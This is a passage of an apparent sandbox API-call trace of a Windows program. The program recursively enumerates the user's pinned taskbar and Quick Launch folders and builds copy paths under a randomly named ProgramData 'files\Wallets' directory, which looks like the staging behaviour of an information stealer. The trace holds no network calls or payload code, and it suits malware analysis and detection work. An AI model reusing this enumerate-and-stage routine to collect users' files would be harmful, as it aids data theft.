Pinned\\ImplicitAppShortcuts\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\" [0052.193] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\.." [0052.193] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.193] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.193] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 0 [0052.193] FindClose (in: hFindFile=0x58a4c0 | out: hFindFile=0x58a4c0) returned 1 [0052.193] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.193] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" [0052.193] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\" [0052.194] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.194] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" [0052.194] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\" [0052.194] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="TaskBar" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.194] lstrcmpW (lpString1="TaskBar", lpString2=".") returned 1 [0052.194] lstrcmpW (lpString1="TaskBar", lpString2="..") returned 1 [0052.194] lstrcpyW (in: lpString1=0x19c524, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.194] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*.*" [0052.194] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*.*", lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 0x58a4c0 [0052.194] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.194] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.194] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\." [0052.194] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.194] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.194] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\." [0052.196] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.196] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.197] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\.." [0052.197] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.197] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.197] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\.." [0052.197] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.197] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.197] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.197] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" [0052.197] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.197] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.197] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="desktop.ini" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" [0052.197] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.197] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Excel 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk" [0052.197] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.197] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.197] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Excel 2016.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk" [0052.197] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.197] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.197] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="File Explorer.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk" [0052.197] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.198] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.198] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="File Explorer.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk" [0052.198] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.198] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Mozilla Firefox.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk" [0052.198] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.198] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.198] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Mozilla Firefox.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk" [0052.198] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.198] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="OneNote 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk" [0052.198] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0052.198] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0052.198] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="OneNote 2016.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk" [0052.198] FindNextFileW (in: 